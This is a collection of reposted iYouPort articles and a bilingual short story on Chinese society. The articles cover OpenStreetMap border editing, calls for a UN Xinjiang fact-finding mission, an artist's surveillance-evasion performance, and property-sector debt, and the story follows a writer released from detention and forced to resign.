当边界争端发生时，它为将地图纳入其产品的科技公司带来了一个棘手的问题。国家叙事往往会与面向全球受众的服务发生冲突，比如谷歌地图。公司已经通过根据用户所在的位置改变向用户显示不同的边界来处理这个问题。例如，苹果和谷歌地图向在俄罗斯的用户显示克里米亚是俄罗斯的一部分，尽管联合国通过了一项决议，敦促各国不要承认俄罗斯对该地区的主张，该地区是俄罗斯在2014年从乌克兰吞并的。印度和中国之间的边界在哪里以及如何出现也取决于你在哪个国家。新近建成的中国村庄庞达（Pangda）位于不丹以争议边界为界的一英里多处。 OSM用户 NM $ L 使用来自昆仑策的报告来确定该定居点中的学校和派出所以及其他建筑物。

但正如这位来自印度的OSM贡献者所指出的那样，编辑平台的人并不总是容易放下自己的背景和观点。这位贡献者说，在印度的整个童年时期，他们都被灌输了关于这个国家及其边界的特定叙事。直到十几岁时，当他们在网上看到一张不同的印度地图时，他们才知道外面还有另一种现实。

这感觉就像一个启示。“我不知道该用什么样的感觉来形容它，但它真的冲击了你的身份”，现在在一家地图公司工作的贡献者说，“你只是拒绝[相信]任何其他与你所接受的条件不同的东西，所以它唤起了强烈的情感反应。”

该贡献者说，他们认为许多人无法轻易接受一个与他们所认为的真相

不同的世界版本。NM$L很可能就是这样，他在私信中告诉《世界之窗》，“几乎每一个中国[人]都知道，保护领土完整是我们的责任”。该用户表示，他们尊重 OpenStreetMap 上的事实，只是想 “在[一个]有争议的地区绘制我知道的事实”。

该用户表示，他们添加的不丹边境村庄的细节来自于昆仑策网的一张照片，昆仑策网是一家聚合国家媒体内容的中国新闻网站。就像 Doiron 一样，NM$L 也在使用新闻文章来向OSM添加信息。但他们所读到的新闻恰好讲述了截然不同的故事，关于这个村子到底在哪个国家。

“我认为其中一个大问题是很多技术都是在硅谷和美国思考和建造的，而它却走向了全世界”，印度的 OSM 贡献者说，“并不是每个人都能意识到这些边界和有争议的边界有多重要，因为在美国和西方世界，这些边界相当完整。”

贡献者还说，他们所在的测绘公司会仔细检查从OSM中提取的任何数据，特别是要确保它小心翼翼地代表敏感区域。他们说，最常见的地图破坏形式，虽然没有上升到严重的地缘政治层面，“[那就是]人们画了一个阴茎”，他们说，“这种事大约每周发生一次”。〇

The mysterious user editing a global open-source map in China’s favor

原文

终止中国在新疆的大规模拘留的法令 - iYouPort

关于中国社会

一组非政府组织在联合国联合声明中表示，联合国人权理事会应该通过一项决议，建立一个向中国新疆的国际实况调查团，在该地区有多达一百万突厥穆斯林被任意拘留。

「图」

「图」

在人权理事会下届会议期间，即2019年2月25日至3月22日，理事会将审议中国2018年11月普遍定期审议的结果报告，中国官员否认有关新疆严重侵犯人权的指控。

“人权观察执行主任 Kenneth Roth 说：”据称在新疆发生的虐待事件的严重程度要求人权理事会进行不妥协的审查。以人权理事会的诚信要求各国不要让中国躲在其成员或经济力量背后，以逃避责任。”

中国当局在所谓的“政治教育”营中拘留了很多维吾尔族和其他突厥穆斯林公民—— 在任何法律程序之外—— 因为他们被认为对政府和中国共产党不忠。在这些难民营中，他们受到强迫的政治灌输，被要求放弃信仰，被虐待，并在某些情况下遭受酷刑。许多联合国专家、条约机构和人权事务高级专员对新疆的情况表示严重关切，并要求不受限制地进入该地区。

中国对这些要求没有积极回应。在12月和1月，政府安排一些记者和外交官访问他们自称仅仅是“职业培训中心”的营地。在这些访问之后，中国官方媒体断言访客发现那里的条件“令人印象深刻”并且被拘留者“ 精神状态良好。” 大赦国际的秘书长 Kumi Naidoo 说，“中国应该认识到，只有国际实况调查团才能将事实与虚构分开。”

拟议的决议将敦促人权事务高级专员派遣一个实况调查团来评估局势，并向人权理事会下届会议提出报告。该决议要求中国允许国际专

家访问，并强调这种访问必须是独立的、不受限制的、无人监视的。还应提醒中国，作为人权委员会成员，“维护最高人权标准”和“与人权委员会充分合作”的义务。

该声明由大赦国际、人权观察、国际人权服务和世界维吾尔代表大会发布，并得到了区域和全球范围内权利组织的广泛认可。

“该国人权状况的恶化是一个长期存在的问题，但这是一个转折点。世界上任何一个国家都不应该随意羁押一百万公民，“国际人权服务部主任 Philip Lynch 说，“实况调查团的决议是人权理事会的最低标准，如果他们有义务认真地促进人权，就应该这样做。”

“长期以来，维吾尔族和其他穆斯林遭受了中国当局的严厉镇压，”世界维吾尔代表大会主席 Dolkun Isa 说。“我们现在正在寻求 HRC 采取行动—并了解真相。”

UN: Act to End China’s Mass Detentions in Xinjiang: The United Nations Human Rights Council should adopt a resolution establishing an international fact-finding mission to Xinjiang, the region of China where up to one million Turkic Muslims are being arbitrarily detained

原文

逃避老大哥的眼睛：中国艺术家在行动 - iYouPort

关于中国社会

邓玉峰的梦想是绕避中国的监视。但是，正如他所发现的，躲避城市的监控摄像头几乎需要超人的才智和决心 ……

「图」

「图」

去年10月26日下午，如果有人碰巧在北京市中心散步，可能会发现一个奇特的景象。大约有10个人，都穿着醒目的背心，在一条繁忙的街道上弯着腰走路着，一边走一边蹲下身子，沿着墙角，并以奇怪的角度倾斜。

这并不是什么特务训练，而是 “消失的运动” 的一部分 —— 一个教当地居民如何躲避国家快速扩张的监控网络的行为艺术项目。

该项目由艺术家邓玉峰设计，旨在让人们意识到每个人都在被密切地监视着，向人们展示保持不被发现是多么困难。

35岁的邓花了几个月的时间研究如何在北京朝阳区幸福大街的一段路上避免被监视器发现。他首先绘制了一张道路上所有监视摄像头的地图，然后确定了每个设备的规格，计算出其视野。然后，他编排了一系列复杂的 “不可能的任务” 式的动作来躲避监视。

在网上陆续招募了一批志愿者后，邓终于有机会检验自己的工作了。这群人花了两个多小时，才完成了这段长达1100米的路线。

“这比我想象的要难得多”，其中一位姓葛的志愿者告诉记者。”一旦你走到街上，就不可能不注意到那些摄像头。我现在不断地在想，什么人正坐在某处的小房间里，看着你在城市里走来走去。”

这正是邓所希望获得的反应。这位艺术家多年来一直在试图提高人们对新技术的兴起如何危及当今中国个人隐私的警惕。

2018年，邓在中部城市武汉的一家画廊里装满了他在黑市上购买的30多万当地居民的个人资料，引起了争议。这个噱头 —— 旨在展示数据泄露在中国已经变得多么普遍 —— 最终被警方关闭。

然而最近，邓将焦点从互联网上的数据隐私威胁转移到了更广泛的集体监控问题上。

近年来，中国已经发展出世界上最复杂的维稳系统之一。2018年，该国安装了3.5亿个监控摄像头，即 大约每4.1个公民就有一个摄像头。到2021年，中国估计将安装5.6亿个摄像头。

此外，这些摄像头正在迅速安装面部识别技术 —— 北京正在倡导这一领域，作为其推动成为人工智能领域世界领导者的一部分。

当局认为，人脸扫描器对于防止犯罪和在流行病期间保护公众健康“是必要的”，最近的调查显示，大多数中国公众 “同意” 这些观点。然而专家警告说，许多人对新技术带来的风险缺乏认识，尤其是在生物识别数据没有得到妥善保护的情况下。

邓在北京的工作室与记者讨论了他从创建 “消失的运动” 中学到的东西，以及公民如何抵制监控国家。为了简洁明了，以下采访内容经过编辑。

「图」

「图」

你的很多作品都在探索围绕隐私和监视的问题。你是如何对这些主题产生兴趣的？

邓：我对探索地下产业很感兴趣。大部分源于2015年的一个名为 “黑色明天” 的项目，在这个项目中，我花了几年时间记录不同城市张贴的传单。我发现了各种非法事物的广告，从卖淫，到器官交易和人口贩卖。它们很能揭示出人类不为人知的欲望。

在这个项目中，我最初更多的是一个旁观者。但后来，我开始拨打海报上的电话号码。这些调查形成了我的作品 “秘密”，我从一个地下商贩那里购买了数千条个人信息。在某种程度上，“消失的运动” 是这项工作的延续。

“消失的运动”所处理的问题与以前的工作不同。您为什么决定更加关注大规模监视？

邓：我一直是抱着解决问题的心态去做艺术的。当我做《秘密》的时候，是出于对一直以来收到的垃圾短信的不满。作为一个艺术家，我怎样才能采取行动，针对这种行业做点什么？虽然展览开幕后不久就被关闭了，但当局很快在当年晚些时候写了立法，以遏制不受欢迎的短信和电话。

对于“消失的运动”，我想改变审讯的主题。我想质问的不再是监控系统背后的公司，而是政府和支撑它的权力动态。

这些权力动态渗透到我们的公共空间中。当我们在城市空间里活动时 —— 比如说，当我们过马路时 —— 我们的身体会受到标志和路灯的约束和控制。但我想颠覆这一点。与其按照摄像机的要求行事，我们为什么不能消失呢？这在某种程度上是英雄式的 —— 也是隐忍的 —— 因为这是一个个体在对抗整个系统。

您花了四个多月的时间研究幸福大街上的监视系统，您从其中学到了什么？

邓：让我感到惊讶的一件事是，监控摄像头的数量增长得如此之快。当我第一次访问两周后再回到街上时，已经出现了更多的摄像头。我不得不调整我的路线，以将它们全部考虑在内。

现在几乎不可能完全不被摄像头看到。我们能做的最好的就是避免脸部被扫描。

「图」

「图」

您认为中国可以如何在隐私和公共安全之间取得平衡？

邓：对公共空间的监控确实能带来安全感。这是保证公共安全最直接的手段。无论你走到哪里，摄像头都能监控到你。所以，犯罪率会下降。然而，搬到城市后，我发现有那么多的摄像头 —— 它们就像有那么多双眼睛在盯着我。这让我感到很不安。

现在，我可以接受监控系统对公共安全的积极影响。但同时，我也对它的无孔不入感到沮丧和担忧。当未来公众意识提高时，人们会意识到一直被监控是多么的压抑，它将造成心理问题。它将成为心理困扰

和社会矛盾的根源。

我看不到任何解决的办法，所以我要站出来反抗，哪怕是无路可走。人们已经习惯了顺从这种状态。为什么我们不能生活在一个有法律意识和政治意识的社会里？

「图」

「图」

您对日常监视采取什么预防措施？

邓：我总是下意识地留意监控摄像头，避开它们。这种态度也是我积累恐惧的产物。当我在社交媒体平台上注册时，我会故意使用假的个人资料。但我知道这些措施的效果非常有限。

【注：在互联网上采取完全不同于现实中的身份是绝对必要的，也许是当前抵制监控的唯一办法；但要想让它真正起效，您需要专业的操作方法，如下：

- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《角色扮演：行动者刚需》
- 包括《完美隐身》系列，这是一整套隐身的思考方式

如果您是在抗议活动中，躲避监视的方法和相关须知包括：

- 《如何在监视时代参加抗议活动》
- 《如何躲避无人机—监视时代的须知》
- 《如何识别抗议活动中可见的和不可见的监视》
- 《在线组织须知：使用互联网进行组织动员时需要注意什么》
- 《警察如何利用抗议者的手机追踪每个人》
- 《基本指南：当您准备参加抗议活动...》】

您打算下一步去哪里进行这一行为艺术项目？

邓：我正在做一本小册子，宣传我们为“消失的运动”设计的路线。有兴趣在幸福大街隐姓埋名的人可以自己尝试一下。

我也希望在其他国家复制这个项目，因为街头监控并不是中国独有的。当我在中国进行的时候，它的政治色彩不那么浓厚 —— 它更像

是一个游戏。但如果我在其他国家尝试，结果可能会不同。更多的人可能会自发地加入到我们的行列中来，这实际上可能会形成一场社会运动。

我不认为这个世界上会有一个完美的监控系统，因为没有完美的人类思想。每一个摄像头背后，都有至少一个人。虽然技术可以是中立的，但操作技术的人却不能。〇

How to Evade Big Brother: An Artist’s Guide

原文

雪崩将至？ - iYouPort

关于中国社会

共产党的人民日报警告说，中国的区域经济需要减少对房地产市场的依赖，转而关注可持续的长期发展。 这是为什么？ 如果”中国住房部门正在发生一些事”，我们应该知道

「图」

「图」

共产党的人民日报警告说，中国的区域经济需要减少对房地产市场的依赖，转而关注可持续的长期发展。如果“中国住房部门正在发生一些事”，我们应该知道。

这个故事听起来很熟悉：近年来，根据北京的长期计划，中国数百个城市的本地房地产市场出现了上升趋势，以进一步实现城市化。在过去几年中，由于地方政府热衷于提高土地销售和满足炙手可热的房地产需求，建造新房和改造旧房的过程一直得到加速。事实上，去年中国100强房地产开发商的总销售额飙升了35％。

但是，重复一个现在耳熟能详的警告，北京再次表示担心，一些寻求快速扩张的城市过快地增长了房地产市场并牺牲了新的产业发展，增加了房地产价格的潜在泡沫化程度。

两周后，对中国房地产行业变糟的预测得到了隔夜市场的证实，当时中国知名房地产开发商嘉源国际股价下挫81％，投资者对陷入巨额债务的行业感到不安。

「图」

「图」

据分析师称，所有人都对今天的举动感到茫然，他表示该股票在一天的交易混乱之后崩溃，从市值中抹去了超过30亿美元，卖盘迅速蔓延

到许多同行……

「图」

「图」

其竞争对手房地产公司阳光100中国控股有限公司也陷入了嘉源同样的恐慌，该公司股价在嘉源崩盘后下跌了65%。

“其中一些公司可能互相交叉持股，当其中一家公司开始倒闭时，其他公司就会受到拖累，”Bocom 策略师表示，“今年可能发生更多类似的股票崩盘。香港的很多股权质权都是水下冰山，一旦清算头寸，就会引发雪崩。”

房地产开发行业尤其容易受到大幅抛售的影响，因为它积累了大量的美元债务，而萎靡不振的中国经济增加了人们对中国房地产市场未来前景的担忧，这可能最终成为该国几十年来的第一次硬着陆。

但最大的问题是即将到来的债务悬崖，这将迫使该行业在最糟糕的时间进行再融资：根据英国“金融时报”的报道，中国开发商在2019年有大约550亿美元到期的在岸债务，这加剧了人们对潜在违约的担忧。再融资的成本将非常昂贵。

该公司在收盘后发表声明试图安抚市场情绪。显然市场并不同意，尽管究竟是什么导致股票在一天内损失80%的价值仍然是个谜，现实是没有人真正知道发生了什么，Core Pacific-Yamaichi 的研究主管 Castor Pang 证实：“没有人真正知道这里发生了什么。对于普通投资者来说，由于没有时间退出，这是一个非常令人惊讶和艰难的状况。“

除了香港一夜之间的“雪崩”之外，更大的问题是，在近几年的繁荣之后，中国的房地产市场正在降温，开发商不得不宣布大幅降价以推动“去库存”，这一过程导致了公众的愤怒。去年已经有房主在几个大城市街头抗议要求退款，因为开发商降价以刺激销售。

接下来的房地产开发商面临的550亿美元债务问题是巨大的风险。里昂证券（CLSA）分析师 Nicole Wong 指出，央行近期的刺激措施“只针对非常大的[开发商]”。

不过基准恒生指数收盘时几乎没有下跌。尽管如此，交易员仍然越来越担心接近临界点：法国巴黎银行（BNP Paribas）亚洲金融集团和房地产研究主管 Wee Liat Lee 表示，系统性风险问题“是一个主要问

题。中国经济在很大程度上依赖于房地产，“这是一个结构性问题，需要花费相当多的时间才能缓解。”

如果做不到这一点 ……另一种选择就是：革命。

Chinese Property Developers Implode As Market Freaks Out Over $55 Billion Debt Cliff: the issue of systemic risk “is a problem . . . the Chinese economy is pretty dependent on property as a sector, in terms of investment and reliance of local government on land sales and revenue”. Failing that, Beijing will just bail out the entire housing sector as it has done on so many prior occasions. The alternative is the one thing that keeps every politician in Beijing up at night: revolution.

原文

Chinese horror story E1: Just forget it - iYouPort

故事

What really scares people is not the unknown, but the known evil and the truth that they are trying to cover up. As the saying goes – hell is empty and the devil is on earth. All observations of life are harsh, because life is. I lament that fact, but I cannot change it.

「图」

「图」

I came out in the wee hours. They pulled me out of the detention center as hard as they pushed me in a few days ago. They asked me to count what was missing. What was missing? A shirt, jeans, a pair of shoelaces, and a cell phone and keys. That was all. But I knew, there was something more. It was in the phone.

It's routine. It's what they call location-based surveillance. I know my "level", but I don't know how they classify them. It's said that my "level" is to be strictly monitored. lol, outrageous, I'm just a scribbler, nothing to say a few words on the Internet, how did I become a "major criminal"?

What's the reason? There's no reason. "creating a disturbance" is a universal glue that can be attached to anything, especially people's mouths. Anything can scare you, and no one can stand the detention center, including me.

It is not surprising to say that most of the people around you get into trouble if something happens mostly out of your mouth, as it has been for so many years, and you don't know what to say to get

into trouble. There was a time when we people thought “expression is action,” or hoped that expression would lead to action, but no, nothing, at least until now, only repetitive expression and constant entry into custody. Some people think it’s the government is afraid, so deducing that expression is valuable, hey, it’s just self-consolation. I just don’t know what else to do but express.

The only thing on my mind right now is this: I can’t just let it go. I have to let people know that even though the cops kept nagging before I came out, “Don’t talk nonsense,” it means I’m not allowed to tell people what I’ve been through these days.

But it’s not easy. I can’t get on the Internet, they must be staring at it, maybe find some ‘reason’ to get me back, I can’t go back to those hellish days… cell phones are not working. Who knows what they put in there? It must be the kind of legendary thing that can monitor all operations.

It was obvious that both computers had been tampered with by them and had been fitted with software that could not be removed at all. I had no money to replace my hard drive. How could I tell my grievances? To whom? Who can be trusted? And then?…. Otherwise, what can I do?

I didn’t tie my shoelaces, I kicked my shoes down the street like a homeless cat, and the question marks were like a hook that made my heart crawl.

I have friends. Over the years, I’ve amassed like-minded friends no matter how much I’ve been deleted or how many accounts I’ve been logged off. People talk to each other because of the similarity of views-online, of course. To be safe, everyone calls each other by ID abbreviations. I can’t call them by their real names; of course, they don’t know my real names too, and we just don’t know each other. I can’t figure out right now if there’s any need for this kind of “security,” we’re just not familiar with each other, and the government’s surveillance system is familiar with all of us.

People in this country do not know what is private, do not know the importance of privacy, they just in the endless anxiety without a head to fly like rambling. I am a very dull person, my mother

constantly told me from a young age, that I am too straight, to learn to stay a few more eyes, do not blindly trust others. In fact, I understand, I read a lot of books, the more those who look like like-minded people, hot looking for you to communicate, the more careful you should be. But I need friends. I am alone in this bright metropolis for nearly ten years, no relatives, no women, if even no friends I am not likely to live today.

But who can I trust? Many people are kind to me, they seem so kind that I always unconsciously say “you are really a good guy.” This phrase probably never said a few times in my father’s life. He experienced the Cultural Revolution, you understand – all over the reporting, trust is a very expensive and dangerous. But the Gang of Four fell, Mao Zedong also died, why is this society today? People are still so hard to trust each other, the Internet and life is still filled with stealth whistleblowers, the Cultural Revolution is not over?

No, it wasn’t the Cultural Revolution, when women didn’t care so much about money and materials. Over the years I didn’t have the heart to find a girlfriend, knowing that I was barely able to pay my salary to rent and eat, but I wasn’t completely desperate, and I always felt that there would be people in the world who would choose to live with me because they truly valued my knowledge.

I dated a girl last year and probably should have said, “I thought it was a relationship.” I had a little publicity on the Internet, probably because it caught the girl’s eye. I was quite serious about asking one of her sisters to send me a message saying they were “interested” in me and hearing that everyone was in the same city and offering to meet.

My social media ID avatar is me, so I feel confident. The first time I met her, the girl was beautiful, even made me feel ashamed. The bill was paid by her, thanks to her payment, or I had to eat a few instant noodles to make it to the end of the month. I feel lucky to finally meet a less worldly girl this year. I called my mother when I got home in the evening. My mother couldn’t speak clearly when she heard the news. And I finally had a topic that made her happy. For the first time in several years.

What did not expect is that a week later I am full of joy with a girl

to my place, she looked at it and said “I’m busy”, turned back. I was confused, then comfort myself that she is really busy, don’t think much of it….. As a result, the next day, her friend to help contact, came to private message, asked me “Can you buy a house?” Buy a house? I even have to tighten my belt for dinner, are you kidding me? She also said, no house is insecure, I’m really dizzy. If a house is a sense of security, you should go to get a real estate agent. Why me?

By all accounts, my salary is not too low among my peers, but the total is a far cry from the rest, because people are willing to take in extra cash. Yes, as you know, the media is a shrewd job, there’s nothing on the payroll, but there’s a big difference in the dark. Simply put, sticking to principle means starving. I told this to a buddy who works as a real estate agent, and he laughed:”Where do you think that’s not the case?”

Indeed, the literati is always able to give people a sense of not having seen the world. I’m not what literati, but to do some writing work. By the way, it occurred to me that there was a guy at work who usually took care of me. My language is blunt, not in line with the Internet age hype style, so always look at the editor of the poker face, he took the initiative to help me polish. What if I ask him for help? Maybe he can help me say it online and vent my anger…

By this time, it was already light. I have no money in my pocket, I had to walk to the door of my workplace and wait for my colleague. There are about ten stops, and I can’t walk anymore. I still have good physical strength, running and exercising every day, and just after this week of detention, I feel as if my whole body has been drained. Strange to say, usually when I walk down the street, I get a free cab, but not today, perhaps because they can see that I can’t afford to pay the fare with my disheveled appearance? Well, I don’t have much to say about the grievances without money, and I’m sure you can understand that.

I have one obvious shortcoming: I am particularly unaccustomed to being taken care of, and I always find it impossible to pay my debts, which is probably because I am not living well and I know myself to be inferior.

I lived in the countryside when I was a child. Then I came to this big city to study undergraduate, and when I graduated, the knowledge futility theory once again prevailed. I was lucky enough to finally apply for the editorial job of this newspaper after more than a year as a car cleaner. I worked hard, but so far I've never learned to please the leader, I don't get my share of anything. I have never really learned the subject of human relations in half my life. The big cities are obviously more complicated in this respect, and there is an indescribable gulf between people.

My colleague is very kind, you know, in the office politics of intrigue dig out a friend can be called kind, it is really not easy. He just got married last year, his wife is also a good man, and intends to introduce me to girls. How could I trouble them, I was satisfied that they could utter these words. If it goes well, I'll double it when I get ahead. I promise.

What else could have gone wrong? Just a post. For me, no matter who comes to me with something like this, I'll unconditionally say yes. I've made several friends out of this temper, but this time I can't turn to them. They're hard enough, they don't even have a job, they're worse off than me. I just hate myself for not having the strength to help them more. How can I cause any more trouble.

By the time I got to the front door of the editorial office, I didn't know how many hours had passed. I didn't have a watch, my cell phone was dead, I had nothing but sweat all over my body, my T-shirt was wet, it was like an iron slab on my back. There was a lot of traffic around, but it had nothing to do with me at all. All these years, I haven't really been able to fit into this bustling metropolis. It's like a movie, beautiful and sentimental, but it always makes me feel like there's going to be a finale. I'm waiting, but I don't know what I'm waiting for.

He came, I saw. I still as always close to the wall slowly walk. He is too similar to me. He is also from the countryside, such a child can be seen at a glance. I meet up, he saw me with a very surprised look, pressed a voice "shouting":"You're out?!"… Strange, I did not say a word, how did he know I was into the detention center? I got nervous.

He pulled me under an abandoned arbor on the corner, next to a stout tree that just covered his body. Even if someone had opened a window and looked out from the opposite newsroom building, they wouldn't have noticed us.

He was silent for a moment after confirming "security," but before I could speak, he said, "I think you'd better hide … The day before yesterday the office came to a few uniformed men, asking people about you, and I've been called in for questioning … They said you are dangerous people, undermine national security……." "Fuck!" "You listen to me," he said, holding on to my temper as I was about to explode. "You know what I mean? Hiding… is… well…. It's not easy for everybody…. Just to survive….. Hey, you…… Hide."

To be honest, I don't have the first time to understand the meaning of "hiding". I think I have come out, the authorities are just to scare me, everything is over, what else to worry about?? It took me a long time to realize that he wanted me to resign. He told me that several people were "very unhappy", including the editor-in-chief. They thought I was "causing trouble" to the newspaper's reputation. The leader asked everyone not to mention me. They wanted to block the news of my persecution.

In the end I couldn't say what I wanted. He looked at me like a stray dog who hadn't eaten in days. He said, "My son is only five months old and my wife has lost her job… I want to support my family, please"… God! I'm going crazy!

I just stood there and watched him cross the road with great care. Like many people I met, he lived with great care. They have a family, a career, and a sense of timidity. "Forget it, everyone was just trying to make a living." It became a killer of all principles. I thought of Eichmann's "Everything is ordered"… Tell me what the difference is? Tell me Pls!

Three days later I received an email, no sign, presumably from the editor in chief. He said the letter of resignation had been printed out and he wanted me to sign it, take my things and "kindly" say he could write a letter of recommendation if needed.

I sat at the table and smoked about half a box of cigarettes before slowly picking up the keyboard and knocking out an “Okay.” Nothing else. I still can’t figure out why. And what to do in the future.

On the day I went to sign, I chose to go at the end of the shift, which was the least crowded. The editor didn’t come out, and a new female reporter helped me find an oil-leaking ballpoint pen. Just like that, I came out with my luggage. I met a few familiar faces in the hallway, all looking busy, and no one said hello to me.

I went back to the abandoned gazebo on the corner and stopped this time. I suddenly remembered that a few years ago it used to be a newsstand, and there were magazines and drinks for sale. It was a time when the internet was not so well developed and paper media was doing so well. When many cities started tearing down their kiosks, not many people felt they had lost something. People look down at their phones and stop looking around. Maybe people think the world is in their phones? Maybe there’s no one left in the real world.

I have walked through this shabby arbor countless times. But only today, when I want to talk to someone, I do remember what it used to be.

Why?

原文

Chinese horror story E1：就这么算了 - iYouPort

故事

真正能令人恐惧的，从来都不是未知的东西，而是那些已知的、试图努力去掩盖的罪恶与真相。就如同那句话所说 —— 地狱空荡荡，魔鬼在人间。**All observations of life are harsh, because life is. I lament that fact, but I cannot change it.**

「图」

「图」

我出来的时候是凌晨。他们把我从号子里拽出来，就像几天前推我进来时那样硬邦邦的。他们让我数一下寄存的东西是不是少了什么，能少什么呢，一件衬衫一条牛仔裤，一双鞋带，还有手机和钥匙，仅此而已。但我知道，肯定多了些什么。就在手机里。

这也算惯例了。那是他们称之为定位监控的玩意儿。我知道自己的“级别”，但不知道他们是怎么划分这些等级的，据说到我这个“级别”要被严格监控。呵呵，真是太离谱了，我只是个写字混饭的人，没事在网上说几句话而已，怎么就成了“重大案犯”了？要跟那些抢劫强奸的人关在一起？

什么理由？没有理由。“寻衅滋事”是万能胶，任何东西都能贴上，尤其是人们的嘴。随便找点事就能吓唬你一通，不是随便什么人就能扛得住看守所的，包括我。

要说也该见怪不怪了，身边的人只要出事大多是出在嘴上，这么多年来都是如此，你不知道说了句什么就惹上事了。曾经一度我们这些人都认为“表达就是行动”，或者说是希望表达能带动行动，但没有，什么都没有，至少至今，只有重复的表达和不断的看守所坐板儿。有些人认为这是“政府害怕了”，因此推论出“表达是有价值的”，哎，不过

是自我安慰罢了。我只是不知道除了表达还能做点什么。

我现在满脑子只有一个念头：不能就这么算了。我得让别人知道，虽然出来前条子们反复唠叨“别乱说话”，意思就是不让我把自己这些天来的遭遇告诉别人，想的美，你们迫害我还不让我说出来？

不过这不是件容易事。我不能上网，他们肯定盯着呢，没准又找个什么理由再把我弄回去，我绝不能回去那种地狱的日子了……手机也不能用，谁知道他们在里面放了什么，一定是那种传说中的可以监听监视一切操作的东西。

很明显两台电脑都被他们动了手脚，装上了那种完全拆不掉的软件，我已经没钱换硬盘了。我该怎么把自己受的委屈说出去？跟谁说？谁才能可信？然后呢？就完了？……否则呢，还能怎么办？

我没系鞋带，踢踏着鞋子走在街上，跟一只无家可归的猫没什么两样。而那些问号就像一只只钩子，绞得人心疼。

我有朋友，这些年不管被删除了多少内容、被注销了多少账号，还是积累起了一些志同道合的朋友，由于观点近似，大家很谈得来。当然是在网上。为了安全，大家用ID缩写互相称呼，我都叫不上他们的真名，当然他们也不知道我的真名。我现在想不通这种“安全”还有没有必要，我们只是互相之间不熟悉，而政府的监控系统熟悉我们所有人。

这个国家的人并不懂得什么是隐私，也不知道该如何重视，只是在无尽的焦虑中没头苍蝇一样乱撞。我是个很愚钝的人，我妈从小就不断的叮嘱，说我太憨，要学着多留几个心眼，别那么盲目信任别人……其实我明白，我读的书多啊，越是那些看起来志同道合的人、热络的找你交流的人，越是要多加小心。可我需要朋友，孤身一人在这个灯红酒绿的大都市里快十年了，没有亲人、没有女人，如果连朋友都没有很可能活不到今天。

但究竟能相信谁呢？说良心话，很多人对我很好，他们看起来很厚道，以至于我总是下意识的说出“你真是好人”。这句话在我的父亲一辈子中大概都没说过几回，文革过来的人嘛，你懂的，遍地都是举报，信任是非常昂贵的东西，也非常危险。可四人帮不是倒台了吗，毛泽东也死了，如今这个社会为什么还是这样？人们互相之间还是那么的难以信任，网上和生活中还是遍布着隐身的举报人，文革究竟有没有结束？

不，这不是文革，文革那时的女人不这么看重钱财物质。这些年来我也没用心找女朋友，因为深知自己这点工资付房租带吃饭都勉强，什么也拿不出手，但并没完全绝望，总觉得这世上还会有人因为真心看重我的学识而选择跟我一起生活。

去年我交往了一位姑娘，或许应该说成是“我以为那是交往”。我在网上有些小小的知名度，大概只是因为这才被姑娘看上的。 还挺正经的邀她一个姐妹给我留言说对我“感兴趣”，听说大家在同一个城市里，要约出来见面。

我的社交媒体ID头像就是本人，于是顿觉信心满满。初次见面印象很好，姑娘很漂亮，甚至让我感觉自惭形秽。埋单都是人家抢的，也多亏人家抢了，我那点工资要吃几顿方便面才能保证撑到月底。感觉很幸运，这年头还能遇到一位不那么世俗的姑娘真心不容易，晚上回来就给家里打了电话，我妈听到这个消息乐得说话都吐字不清了。我也终于赚到一个让老太太开心的话题。几年了，第一次。

却没曾想，一周后满心欢喜的带着姑娘来我住的地方，人家看了一眼就说“还有事”，转身回去了。我有些呆，当时安慰自己说人家是真有事，别多想……结果，次日那位帮忙联络的，她的闺蜜就来私信了，问我“能不能买房”！买房？我连吃饭都要勒紧裤腰带的人，你逗我？她还说，没房子就没安全感，我真晕了，如果房子就是安全感你应该去找开发商吧，找我干啥。

按说我的工资在同行里面不算太低，但总数与其他人相比就是天壤之别，因为人家都敢收“外快”。对，就如你所知道的，做媒体这活儿很有玄机，工资单上看就是一水儿的清水衙门口叫花子，但暗处可是大相径庭的。简单说就是，有原则注定挨饿。我把这些牢骚跟一个做房地产经纪人的哥们唠过，他听罢放声大笑：你以为哪里不是如此？

的确，文人总是能给人一种没见过世面的感觉。我这种还算不上什么文人呢，只不过干点文字的活儿。对了，忽然想到，单位里有个兄弟平时很照顾我，我措辞生硬，不符合网络时代的炒作风格，总是因此要看主编的扑克脸，他就主动帮我润色。我要是找找他呢？也许他能帮我在网上喊两句，出出气……

这会儿天已经亮起来了，我兜里一分钱都没有，只能走着去单位门口等那位同事。还有大约十站地，我的脚已经快抬不起来了。话说我的体力还是不错的，平日常跑步锻炼，只是这一个礼拜的看守所折腾，整个人好像被抽干了一样。说也奇怪，平日这样走在街上时必定有空的出租车靠过来按喇叭，但今天没有，也许是因为看得出我蓬头垢面

的样子付不起车费？哎，没钱的委屈就不多说了，想必你也能懂。

我这人有个明显的缺点，特别不习惯被人照顾，总觉得感情债没法儿还，当然也很可能是自己混的不好，自知低人一等。

我是农村出来的，在这个大城市读的本科，毕业时正当知识无用论又一次的盛行，还算幸运，在做了一年多的擦车行小工之后终于应聘到了这家报馆的编辑工作。我很卖力，却至今没学会讨领导的喜欢，什么分成都没我的份儿，不过也好，免得看圈子间脸色了。人际关系这种事我还真半辈子都没学会，这方面大城市明显更复杂，人与人之间有难以形容的鸿沟。

我那位同事兄弟为人挺厚道的，要知道，在勾心斗角的办公室政治里挖出一位能称得上厚道的朋友，是真心不容易。他去年刚结的婚，老婆也是个敞亮人，还要张罗给我介绍女朋友，嘿嘿，哪好意思麻烦人家，有这么句话就很满足了。这次求他帮忙声援如果能顺利，我将来混出头时会加倍还他。我保证。

还能有什么不顺利的呢？就是发个帖子而已，对我来说，不论是谁遭遇这样的事来求我，我都会无条件答应。我就是凭着这样的脾气交到了好几个兄弟，不过这次我不能找他们，他们已经够难的了，甚至没了工作，过得还不如我。只恨自己没实力帮他们更多，哪还能再添麻烦。

走到编辑部大门口的时候已经不知过了多少个小时，我没有手表，手机也没电了，浑身上下除了汗水什么也没有，T恤湿答答的贴在背上，像一块铁板压得人透不过气来。周围车水马龙，却全然与我无关。这么多年了，一直没能真正的融入这个繁华的大都市，它就像一部电影，秀丽多情，但总让我觉得会有片尾曲响起的那一刻。我在等，却不知道自己等的是什么。

